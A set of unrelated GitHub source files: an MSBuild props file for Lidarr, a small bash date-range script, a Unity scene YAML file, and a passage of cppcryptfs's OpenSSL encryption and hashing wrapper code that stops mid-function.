<RuntimeIdentifiers>win-x64;osx-x64;linux-x64;linux-musl-x64;linux-arm;linux-arm64;linux-musl-arm64</RuntimeIdentifiers>
<ExcludedRuntimeFrameworkPairs>win-x64:net462;osx-x64:net462;linux-arm:net462;linux-arm64:net462;linux-musl-x64:net462;linux-musl-arm64:net462</ExcludedRuntimeFrameworkPairs>
<LidarrRootDir>$(MSBuildThisFileDirectory)..\</LidarrRootDir>
<!-- Specifies the type of output -->
<LidarrOutputType>Library</LidarrOutputType>
<LidarrOutputType Condition="$(MSBuildProjectName.Contains('.Test'))">Test</LidarrOutputType>
<LidarrOutputType Condition="'$(MSBuildProjectName)'=='ServiceInstall'">Exe</LidarrOutputType>
<LidarrOutputType Condition="'$(MSBuildProjectName)'=='ServiceUninstall'">Exe</LidarrOutputType>
<LidarrOutputType Condition="'$(MSBuildProjectName)'=='Lidarr'">Exe</LidarrOutputType>
<LidarrOutputType Condition="'$(MSBuildProjectName)'=='Lidarr.Console'">Exe</LidarrOutputType>
<LidarrOutputType Condition="'$(MSBuildProjectName)'=='Lidarr.Update'">Update</LidarrOutputType>
<!-- Specifies whether it's one of our own libraries -->
<LidarrProject>false</LidarrProject>
<LidarrProject Condition="$(MSBuildProjectName.StartsWith('Lidarr'))">true</LidarrProject>
<LidarrProject Condition="$(MSBuildProjectName.StartsWith('ServiceInstall'))">true</LidarrProject>
<LidarrProject Condition="$(MSBuildProjectName.StartsWith('ServiceUninstall'))">true</LidarrProject>
</PropertyGroup>
<PropertyGroup>
<Configuration Condition="'$(Configuration)'==''">Release</Configuration>
<!-- Centralize intermediate and default outputs -->
<BaseIntermediateOutputPath>$(LidarrRootDir)_temp\obj\$(MSBuildProjectName)\</BaseIntermediateOutputPath>
<IntermediateOutputPath>$(LidarrRootDir)_temp\obj\$(MSBuildProjectName)\$(Configuration)\</IntermediateOutputPath>
<OutputPath>$(LidarrRootDir)_temp\bin\$(Configuration)\$(MSBuildProjectName)\</OutputPath>
<!-- Output to _output and _tests respectively -->
<OutputPath Condition="'$(LidarrProject)'=='true'">$(LidarrRootDir)_output\</OutputPath>
<OutputPath Condition="'$(LidarrOutputType)'=='Test'">$(LidarrRootDir)_tests\</OutputPath>
<OutputPath Condition="'$(LidarrOutputType)'=='Update'">$(LidarrRootDir)_output\Lidarr.Update\</OutputPath>
<!-- Paths relative to project file for better readability -->
<BaseIntermediateOutputPath>$([MSBuild]::MakeRelative('$(MSBuildProjectDirectory)', '$(BaseIntermediateOutputPath)'))</BaseIntermediateOutputPath>
<IntermediateOutputPath>$([MSBuild]::MakeRelative('$(MSBuildProjectDirectory)', '$(IntermediateOutputPath)'))</IntermediateOutputPath>
<OutputPath>$([MSBuild]::MakeRelative('$(MSBuildProjectDirectory)', '$(OutputPath)'))</OutputPath>
<DebugSymbols>true</DebugSymbols>
</PropertyGroup>
<!-- Test projects need bindingRedirects -->
<PropertyGroup Condition="'$(LidarrOutputType)'=='Test'">
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<GenerateBindingRedirectsOutputType>true</GenerateBindingRedirectsOutputType>
<SelfContained>false</SelfContained>
</PropertyGroup>
<!-- Set the Product and Version info for our own projects -->
<PropertyGroup Condition="'$(LidarrProject)'=='true'">
<Product>Lidarr</Product>
<Company>lidarr.audio</Company>
<Copyright>Copyright 2017-$([System.DateTime]::Now.ToString('yyyy')) lidarr.audio (GNU General Public v3)</Copyright>
<!-- Should be replaced by CI -->
<AssemblyVersion>10.0.0.*</AssemblyVersion>
<AssemblyConfiguration>$(Configuration)-dev</AssemblyConfiguration>
<GenerateAssemblyFileVersionAttribute>false</GenerateAssemblyFileVersionAttribute>
<GenerateAssemblyInformationalVersionAttribute>false</GenerateAssemblyInformationalVersionAttribute>
<GenerateAssemblyConfigurationAttribute>false</GenerateAssemblyConfigurationAttribute>
<Deterministic Condition="$(AssemblyVersion.EndsWith('*'))">False</Deterministic>
</PropertyGroup>
<!-- Set the AssemblyConfiguration attribute for projects -->
<ItemGroup Condition="'$(LidarrProject)'=='true'">
<AssemblyAttribute Include="System.Reflection.AssemblyConfigurationAttribute">
<_Parameter1>$(AssemblyConfiguration)</_Parameter1>
</AssemblyAttribute>
</ItemGroup>
<PropertyGroup>
<!-- For now keep the NzbDrone namespace -->
<RootNamespace Condition="'$(LidarrProject)'=='true'">$(MSBuildProjectName.Replace('Lidarr','NzbDrone'))</RootNamespace>
</PropertyGroup>
<!-- Allow building net framework using mono -->
<ItemGroup>
<PackageReference Include="Microsoft.NETFramework.ReferenceAssemblies" Version="1.0.0">
<PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers</IncludeAssets>
</PackageReference>
</ItemGroup>
<!-- Set up stylecop -->
<ItemGroup Condition="'$(LidarrProject)'=='true' and '$(EnableAnalyzers)'!='false'">
<!-- StyleCop analysis -->
<PackageReference Include="Microsoft.CodeAnalysis.FxCopAnalyzers" Version="3.3.0">
<PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers</IncludeAssets>
</PackageReference>
<PackageReference Include="StyleCop.Analyzers" Version="1.1.118">
<PrivateAssets>all</PrivateAssets>
<IncludeAssets>runtime; build; native; contentfiles; analyzers</IncludeAssets>
</PackageReference>
<AdditionalFiles Include="$(SolutionDir)stylecop.json" />
</ItemGroup>
<!--
Set runtime identifier to local system type if not specified
-->
<Choose>
<When Condition="'$(OS)' == 'Windows_NT'">
<PropertyGroup>
<IsWindows>true</IsWindows>
</PropertyGroup>
</When>
<When Condition="'$([System.Runtime.InteropServices.RuntimeInformation]::IsOSPlatform($([System.Runtime.InteropServices.OSPlatform]::OSX)))' == 'true'">
<PropertyGroup>
<IsOSX>true</IsOSX>
</PropertyGroup>
</When>
<Otherwise>
<PropertyGroup>
<IsLinux>true</IsLinux>
</PropertyGroup>
</Otherwise>
</Choose>
<PropertyGroup Condition="'$(IsWindows)' == 'true' and
'$(RuntimeIdentifier)' == ''">
<_UsingDefaultRuntimeIdentifier>true</_UsingDefaultRuntimeIdentifier>
<RuntimeIdentifier>win-x64</RuntimeIdentifier>
</PropertyGroup>
<PropertyGroup Condition="'$(IsLinux)' == 'true' and
'$(RuntimeIdentifier)' == ''">
<_UsingDefaultRuntimeIdentifier>true</_UsingDefaultRuntimeIdentifier>
<RuntimeIdentifier>linux-x64</RuntimeIdentifier>
</PropertyGroup>
<PropertyGroup Condition="'$(IsOSX)' == 'true' and
'$(RuntimeIdentifier)' == ''">
<_UsingDefaultRuntimeIdentifier>true</_UsingDefaultRuntimeIdentifier>
<RuntimeIdentifier>osx-x64</RuntimeIdentifier>
</PropertyGroup>
</Project>
| {
"pile_set_name": "Github"
} |
#########################################################################
# File Name: test_history_get.sh
# Author: Bill
# mail: XXXXXXX@qq.com
# Created Time: 2016-06-10 12:11:48
#########################################################################
#!/bin/bash
##报告的初始时间和结束时间(前一天的0点到24点)
from=`date "+%Y-%m-%d 00:00:00" -d"-2day"`
now=`date "+%Y-%m-%d 00:00:00"`
from=`date -d "$from" '+%s'`
now=`date -d "$now" '+%s'`
echo $from
echo $now
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!29 &1
OcclusionCullingSettings:
m_ObjectHideFlags: 0
serializedVersion: 2
m_OcclusionBakeSettings:
smallestOccluder: 5
smallestHole: 0.25
backfaceThreshold: 100
m_SceneGUID: 00000000000000000000000000000000
m_OcclusionCullingData: {fileID: 0}
--- !u!104 &2
RenderSettings:
m_ObjectHideFlags: 0
serializedVersion: 7
m_Fog: 0
m_FogColor: {r: 0.5, g: 0.5, b: 0.5, a: 1}
m_FogMode: 3
m_FogDensity: 0.01
m_LinearFogStart: 0
m_LinearFogEnd: 300
m_AmbientSkyColor: {r: 0.212, g: 0.227, b: 0.259, a: 1}
m_AmbientEquatorColor: {r: 0.114, g: 0.125, b: 0.133, a: 1}
m_AmbientGroundColor: {r: 0.047, g: 0.043, b: 0.035, a: 1}
m_AmbientIntensity: 1
m_AmbientMode: 0
m_SkyboxMaterial: {fileID: 10304, guid: 0000000000000000f000000000000000, type: 0}
m_HaloStrength: 0.5
m_FlareStrength: 1
m_FlareFadeSpeed: 3
m_HaloTexture: {fileID: 0}
m_SpotCookie: {fileID: 10001, guid: 0000000000000000e000000000000000, type: 0}
m_DefaultReflectionMode: 0
m_DefaultReflectionResolution: 128
m_ReflectionBounces: 1
m_ReflectionIntensity: 1
m_CustomReflection: {fileID: 0}
m_Sun: {fileID: 0}
m_IndirectSpecularColor: {r: 0, g: 0, b: 0, a: 1}
--- !u!157 &3
LightmapSettings:
m_ObjectHideFlags: 0
serializedVersion: 7
m_GIWorkflowMode: 0
m_GISettings:
serializedVersion: 2
m_BounceScale: 1
m_IndirectOutputScale: 1
m_AlbedoBoost: 1
m_TemporalCoherenceThreshold: 1
m_EnvironmentLightingMode: 0
m_EnableBakedLightmaps: 1
m_EnableRealtimeLightmaps: 1
m_LightmapEditorSettings:
serializedVersion: 4
m_Resolution: 2
m_BakeResolution: 40
m_TextureWidth: 1024
m_TextureHeight: 1024
m_AO: 0
m_AOMaxDistance: 1
m_CompAOExponent: 1
m_CompAOExponentDirect: 0
m_Padding: 2
m_LightmapParameters: {fileID: 0}
m_LightmapsBakeMode: 1
m_TextureCompression: 1
m_DirectLightInLightProbes: 1
m_FinalGather: 0
m_FinalGatherFiltering: 1
m_FinalGatherRayCount: 256
m_ReflectionCompression: 2
m_LightingDataAsset: {fileID: 0}
m_RuntimeCPUUsage: 25
--- !u!196 &4
NavMeshSettings:
serializedVersion: 2
m_ObjectHideFlags: 0
m_BuildSettings:
serializedVersion: 2
agentTypeID: 0
agentRadius: 0.5
agentHeight: 2
agentSlope: 45
agentClimb: 0.4
ledgeDropHeight: 0
maxJumpAcrossDistance: 0
minRegionArea: 2
manualCellSize: 0
cellSize: 0.16666667
accuratePlacement: 0
m_NavMeshData: {fileID: 0}
--- !u!1 &682143189
GameObject:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
serializedVersion: 5
m_Component:
- component: {fileID: 682143193}
- component: {fileID: 682143192}
- component: {fileID: 682143191}
- component: {fileID: 682143190}
m_Layer: 0
m_Name: Cube
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 0
m_IsActive: 1
--- !u!23 &682143190
MeshRenderer:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 682143189}
m_Enabled: 1
m_CastShadows: 1
m_ReceiveShadows: 1
m_MotionVectors: 1
m_LightProbeUsage: 1
m_ReflectionProbeUsage: 1
m_Materials:
- {fileID: 2100000, guid: a7b65afdebe46d443a3d085c21b96ec6, type: 2}
m_StaticBatchInfo:
firstSubMesh: 0
subMeshCount: 0
m_StaticBatchRoot: {fileID: 0}
m_ProbeAnchor: {fileID: 0}
m_LightProbeVolumeOverride: {fileID: 0}
m_ScaleInLightmap: 1
m_PreserveUVs: 1
m_IgnoreNormalsForChartDetection: 0
m_ImportantGI: 0
m_SelectedEditorRenderState: 3
m_MinimumChartSize: 4
m_AutoUVMaxDistance: 0.5
m_AutoUVMaxAngle: 89
m_LightmapParameters: {fileID: 0}
m_SortingLayerID: 0
m_SortingOrder: 0
--- !u!65 &682143191
BoxCollider:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 682143189}
m_Material: {fileID: 0}
m_IsTrigger: 0
m_Enabled: 1
serializedVersion: 2
m_Size: {x: 1, y: 1, z: 1}
m_Center: {x: 0, y: 0, z: 0}
--- !u!33 &682143192
MeshFilter:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 682143189}
m_Mesh: {fileID: 10202, guid: 0000000000000000e000000000000000, type: 0}
--- !u!4 &682143193
Transform:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 682143189}
m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}
m_LocalPosition: {x: 0, y: 0.896, z: 0}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 0}
m_RootOrder: 2
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!1 &978083867
GameObject:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
serializedVersion: 5
m_Component:
- component: {fileID: 978083871}
- component: {fileID: 978083870}
- component: {fileID: 978083869}
- component: {fileID: 978083868}
m_Layer: 0
m_Name: Plane
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 0
m_IsActive: 1
--- !u!23 &978083868
MeshRenderer:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 978083867}
m_Enabled: 1
m_CastShadows: 1
m_ReceiveShadows: 1
m_MotionVectors: 1
m_LightProbeUsage: 1
m_ReflectionProbeUsage: 1
m_Materials:
- {fileID: 2100000, guid: a7b65afdebe46d443a3d085c21b96ec6, type: 2}
m_StaticBatchInfo:
firstSubMesh: 0
subMeshCount: 0
m_StaticBatchRoot: {fileID: 0}
m_ProbeAnchor: {fileID: 0}
m_LightProbeVolumeOverride: {fileID: 0}
m_ScaleInLightmap: 1
m_PreserveUVs: 1
m_IgnoreNormalsForChartDetection: 0
m_ImportantGI: 0
m_SelectedEditorRenderState: 3
m_MinimumChartSize: 4
m_AutoUVMaxDistance: 0.5
m_AutoUVMaxAngle: 89
m_LightmapParameters: {fileID: 0}
m_SortingLayerID: 0
m_SortingOrder: 0
--- !u!64 &978083869
MeshCollider:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 978083867}
m_Material: {fileID: 0}
m_IsTrigger: 0
m_Enabled: 1
serializedVersion: 2
m_Convex: 0
m_InflateMesh: 0
m_SkinWidth: 0.01
m_Mesh: {fileID: 10209, guid: 0000000000000000e000000000000000, type: 0}
--- !u!33 &978083870
MeshFilter:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 978083867}
m_Mesh: {fileID: 10209, guid: 0000000000000000e000000000000000, type: 0}
--- !u!4 &978083871
Transform:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 978083867}
m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}
m_LocalPosition: {x: 0, y: 0, z: 0}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 0}
m_RootOrder: 1
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!1 &1005377201
GameObject:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
serializedVersion: 5
m_Component:
- component: {fileID: 1005377206}
- component: {fileID: 1005377205}
- component: {fileID: 1005377204}
- component: {fileID: 1005377203}
- component: {fileID: 1005377202}
m_Layer: 0
m_Name: Main Camera
m_TagString: MainCamera
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 0
m_IsActive: 1
--- !u!81 &1005377202
AudioListener:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1005377201}
m_Enabled: 1
--- !u!124 &1005377203
Behaviour:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1005377201}
m_Enabled: 1
--- !u!92 &1005377204
Behaviour:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1005377201}
m_Enabled: 1
--- !u!20 &1005377205
Camera:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1005377201}
m_Enabled: 1
serializedVersion: 2
m_ClearFlags: 1
m_BackGroundColor: {r: 0.19215687, g: 0.3019608, b: 0.4745098, a: 0}
m_NormalizedViewPortRect:
serializedVersion: 2
x: 0
y: 0
width: 1
height: 1
near clip plane: 0.3
far clip plane: 1000
field of view: 60
orthographic: 0
orthographic size: 5
m_Depth: -1
m_CullingMask:
serializedVersion: 2
m_Bits: 4294967295
m_RenderingPath: 1
m_TargetTexture: {fileID: 0}
m_TargetDisplay: 0
m_TargetEye: 3
m_HDR: 0
m_OcclusionCulling: 1
m_StereoConvergence: 10
m_StereoSeparation: 0.022
m_StereoMirrorMode: 0
--- !u!4 &1005377206
Transform:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1005377201}
m_LocalRotation: {x: 0.41469327, y: 0, z: 0, w: 0.9099613}
m_LocalPosition: {x: 0, y: 4, z: -6}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 0}
m_RootOrder: 0
m_LocalEulerAnglesHint: {x: 49, y: 0, z: 0}
--- !u!1 &1016347207
GameObject:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
serializedVersion: 5
m_Component:
- component: {fileID: 1016347209}
- component: {fileID: 1016347208}
m_Layer: 0
m_Name: Directional Light
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 0
m_IsActive: 1
--- !u!108 &1016347208
Light:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1016347207}
m_Enabled: 1
serializedVersion: 7
m_Type: 2
m_Color: {r: 1, g: 0.95686275, b: 0.8392157, a: 1}
m_Intensity: 1
m_Range: 10
m_SpotAngle: 30
m_CookieSize: 10
m_Shadows:
m_Type: 2
m_Resolution: -1
m_CustomResolution: -1
m_Strength: 1
m_Bias: 0.05
m_NormalBias: 0.4
m_NearPlane: 0.2
m_Cookie: {fileID: 0}
m_DrawHalo: 0
m_Flare: {fileID: 0}
m_RenderMode: 0
m_CullingMask:
serializedVersion: 2
m_Bits: 4294967295
m_Lightmapping: 4
m_AreaSize: {x: 1, y: 1}
m_BounceIntensity: 1
m_ShadowRadius: 0
m_ShadowAngle: 0
--- !u!4 &1016347209
Transform:
m_ObjectHideFlags: 0
m_PrefabParentObject: {fileID: 0}
m_PrefabInternal: {fileID: 0}
m_GameObject: {fileID: 1016347207}
m_LocalRotation: {x: 0.40821788, y: -0.23456968, z: 0.10938163, w: 0.8754261}
m_LocalPosition: {x: 0, y: 3, z: -1.474}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children: []
m_Father: {fileID: 0}
m_RootOrder: 3
m_LocalEulerAnglesHint: {x: 50, y: -30, z: 0}
| {
"pile_set_name": "Github"
} |
/*
cppcryptfs : user-mode cryptographic virtual overlay filesystem.
Copyright (C) 2016-2020 Bailey Brown (github.com/bailey27/cppcryptfs)
cppcryptfs is based on the design of gocryptfs (github.com/rfjakob/gocryptfs)
The MIT License (MIT)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "stdafx.h"
#include <openssl/evp.h>
#include <openssl/kdf.h>
#include "aes-siv/aes256-siv.h"
#include "cryptdefs.h"
#include "crypt.h"
#include "util/util.h"
#include <string>
static void
handleErrors()
{
throw (-1);
}
void *get_crypt_context(int ivlen, int mode)
{
EVP_CIPHER_CTX *ctx = NULL;
try {
/* Create and initialise the context */
if (!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
const EVP_CIPHER *cipher = NULL;
switch (mode) {
case AES_MODE_GCM:
cipher = EVP_aes_256_gcm();
break;
default:
handleErrors();
break;
}
/* Initialise the encryption operation. */
if (1 != EVP_EncryptInit_ex(ctx, cipher, NULL, NULL, NULL))
handleErrors();
if (mode == AES_MODE_GCM && ivlen != 12) {
/* Set IV length. Not necessary if this is 12 bytes (96 bits) */
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, ivlen, NULL))
handleErrors();
}
} catch (int) {
if (ctx)
EVP_CIPHER_CTX_free(ctx);
ctx = NULL;
}
return (void*)ctx;
}
void free_crypt_context(void *context)
{
EVP_CIPHER_CTX *ctx = (EVP_CIPHER_CTX*)context;
/* Clean up */
if (ctx)
EVP_CIPHER_CTX_free(ctx);
}
int encrypt(const unsigned char *plaintext, int plaintext_len, unsigned char *aad,
int aad_len, const unsigned char *key, const unsigned char *iv,
unsigned char *ciphertext, unsigned char *tag, void *context)
{
EVP_CIPHER_CTX *ctx = (EVP_CIPHER_CTX*)context;
if (!ctx)
return -1;
int len;
int ciphertext_len;
try {
if (1 != EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();
/* Provide any AAD data. This can be called zero or more times as
* required
*/
if (1 != EVP_EncryptUpdate(ctx, NULL, &len, aad, aad_len))
handleErrors();
/* Provide the message to be encrypted, and obtain the encrypted output.
* EVP_EncryptUpdate can be called multiple times if necessary
*/
if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
handleErrors();
ciphertext_len = len;
/* Finalise the encryption. Normally ciphertext bytes may be written at
* this stage, but this does not occur in GCM mode
*/
if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();
ciphertext_len += len;
/* Get the tag */
if (tag) {
if (1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag))
handleErrors();
}
} catch (int) {
ciphertext_len = -1;
}
return ciphertext_len;
}
int decrypt(const unsigned char *ciphertext, int ciphertext_len, unsigned char *aad,
int aad_len, unsigned char *tag, const unsigned char *key, const unsigned char *iv,
unsigned char *plaintext, void *context)
{
EVP_CIPHER_CTX *ctx = (EVP_CIPHER_CTX*)context;
if (!ctx)
return -1;
int len;
int plaintext_len;
int ret;
try {
/* Initialise Key and IV */
if (!EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();
/* Provide any AAD data. This can be called zero or more times as
* required
*/
if (!EVP_DecryptUpdate(ctx, NULL, &len, aad, aad_len))
handleErrors();
/* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary
*/
if (!EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
handleErrors();
plaintext_len = len;
/* Set expected tag value. Works in OpenSSL 1.0.1d and later */
if (tag) {
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_TAG, 16, tag))
handleErrors();
}
/* Finalise the decryption. A positive return value indicates success,
* anything else is a failure - the plaintext is not trustworthy.
*/
ret = EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
}
catch (int) {
ret = -1;
}
if (ret > 0)
{
/* Success */
plaintext_len += len;
return plaintext_len;
}
else
{
/* Verify failed */
return -1;
}
}
int encrypt_siv(const unsigned char *plaintext, int plaintext_len, unsigned char *aad,
int aad_len, const unsigned char *iv,
unsigned char *ciphertext, unsigned char *siv, const SivContext *context)
{
if (aad_len != 24)
return -1;
unsigned char header_data[24+16];
memcpy(header_data, aad, aad_len);
memcpy(header_data + aad_len, iv, 16);
size_t header_sizes[2] = { 24, 16 };
memcpy(ciphertext, plaintext, plaintext_len);
if (!aes256_encrypt_siv(context, header_data, header_sizes, 2, ciphertext, plaintext_len, siv))
return -1;
return plaintext_len;
}
int decrypt_siv(const unsigned char *ciphertext, int ciphertext_len, unsigned char *aad,
int aad_len, const unsigned char *siv, const unsigned char *iv,
unsigned char *plaintext, const SivContext *context)
{
if (aad_len != 24)
return -1;
unsigned char header_data[24+16];
memcpy(header_data, aad, aad_len);
memcpy(header_data + aad_len, iv, 16);
size_t header_sizes[2] = { 24, 16 };
memcpy(plaintext, ciphertext, ciphertext_len);
if (!aes256_decrypt_siv(context, header_data, header_sizes, 2, plaintext, ciphertext_len, siv))
return -1;
return ciphertext_len;
}
bool sha256(const string& str, BYTE *sum)
{
EVP_MD_CTX *mdctx = NULL;
bool ret = true;
try {
if (EVP_MD_size(EVP_sha256()) != 32)
handleErrors();
if ((mdctx = EVP_MD_CTX_create()) == NULL)
handleErrors();
if (1 != EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL))
handleErrors();
if (1 != EVP_DigestUpdate(mdctx, &str[0], str.size()))
handleErrors();
unsigned int len;
if (1 != EVP_DigestFinal_ex(mdctx, sum, &len))
handleErrors();
if (len != 32)
handleErrors();
} catch (...) {
ret = false;
}
if (mdctx)
EVP_MD_CTX_destroy(mdctx);
return ret;
}
bool sha256(const BYTE *data, int datalen, BYTE *sum)
{
EVP_MD_CTX *mdctx = NULL;
bool ret = true;
try {
if (EVP_MD_size(EVP_sha256()) != 32)
handleErrors();
if ((mdctx = EVP_MD_CTX_create()) == NULL)
handleErrors();
if (1 != EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL))
handleErrors();
if (1 != EVP_DigestUpdate(mdctx, data, datalen))
handleErrors();
unsigned int len;
if (1 != EVP_DigestFinal_ex(mdctx, sum, &len))
handleErrors();
if (len != 32)
handleErrors();
} catch (...) {
ret = false;
}
if (mdctx)
EVP_MD_CTX_destroy(mdctx);
return ret;
}
bool sha512(const BYTE *data, int datalen, BYTE *sum)
{
EVP_MD_CTX *mdctx = NULL;
bool ret = true;
try {
if (EVP_MD_size(EVP_sha512()) != 64)
handleErrors();
if ((mdctx = EVP_MD_CTX_create()) == NULL)
handleErrors();
if (1 != EVP_DigestInit_ex(mdctx, EVP_sha512(), NULL))
handleErrors();
if (1 != EVP_DigestUpdate(mdctx, data, datalen))
handleErrors();
unsigned int len;
if (1 != EVP_DigestFinal_ex(mdctx, sum, &len))
handleErrors();
if (len != 64)
handleErrors();
} catch (...) {
ret = false;
}
if (mdctx)
EVP_MD_CTX_destroy(mdctx);
return ret;
}
bool encrypt_string_gcm(const wstring& str, const BYTE *key, string& base64_out)
{
BYTE iv[BLOCK_IV_LEN];
bool rval = true;
BYTE *encrypted = NULL;
if (!get_sys_random_bytes(iv, sizeof(iv)))
return false;
void *context = get_crypt_context(BLOCK_IV_LEN, AES_MODE_GCM);
if (!context)
return false;
try {
string utf8;
if (!unicode_to_utf8(&str[0], utf8))
throw(-1);
BYTE aad[8];
memset(aad, 0, sizeof(aad));
encrypted = new BYTE[utf8.size() + BLOCK_IV_LEN + BLOCK_TAG_LEN];
memcpy(encrypted, iv, sizeof(iv));
int ctlen = encrypt((const BYTE*)&utf8[0], (int)utf8.size(), aad, (int)sizeof(aad), key, iv, encrypted + (int)sizeof(iv), encrypted + (int)sizeof(iv) + (int)utf8.size(), context);
if (ctlen != utf8.size())
throw(-1);
if (!base64_encode(encrypted, ctlen + sizeof(iv) + BLOCK_TAG_LEN, base64_out, false, true))
throw(-1);
} catch (...) {
rval = false;
}
if (context)
free_crypt_context(context);
if (encrypted)
delete[] encrypted;
return rval;
}
bool decrypt_string_gcm(const string& base64_in, const BYTE *key, wstring& str)
{
bool rval = true;
void *context = get_crypt_context(BLOCK_IV_LEN, AES_MODE_GCM);
if (!context)
return false;
try {
vector<BYTE> v;
BYTE adata[8];
memset(adata, 0, sizeof(adata));
if (!base64_decode(&base64_in[0], v, false, true))
throw(-1);
char *plaintext = new char[v.size() - BLOCK_IV_LEN - BLOCK_TAG_LEN + 1];
int ptlen = decrypt((const BYTE*)(&v[0] + BLOCK_IV_LEN), (int)v.size() - BLOCK_IV_LEN - BLOCK_TAG_LEN, adata, sizeof(adata), &v[0] + v.size() - BLOCK_TAG_LEN, key, &v[0], (BYTE*)plaintext, context);
if (ptlen != v.size() - BLOCK_IV_LEN - BLOCK_TAG_LEN)
throw(-1);
plaintext[ptlen] = '\0';
if (!utf8_to_unicode(plaintext, str))
throw(-1);
} catch (...) {
rval = false;
}
if (context)
free_crypt_context(context);
return rval;
}
const char *hkdfInfoEMENames = "EME filename encryption";
const char *hkdfInfoGCMContent = "AES-GCM file content encryption";
const char *hkdfInfoSIVContent = "AES-SIV file content encryption";
bool hkdfDerive(const BYTE *masterKey, int masterKeyLen, BYTE *newKey, int newKeyLen, const char *info)
{
EVP_PKEY_CTX *pctx = NULL;
bool ret = true;
size_t outLen = newKeyLen;
try {
pctx = EVP_PKEY_CTX_new_id(EVP_PKEY_HKDF, NULL);
if (!pctx)
throw(-1);
if (EVP_PKEY_derive_init(pctx) <= 0)
throw(-1);
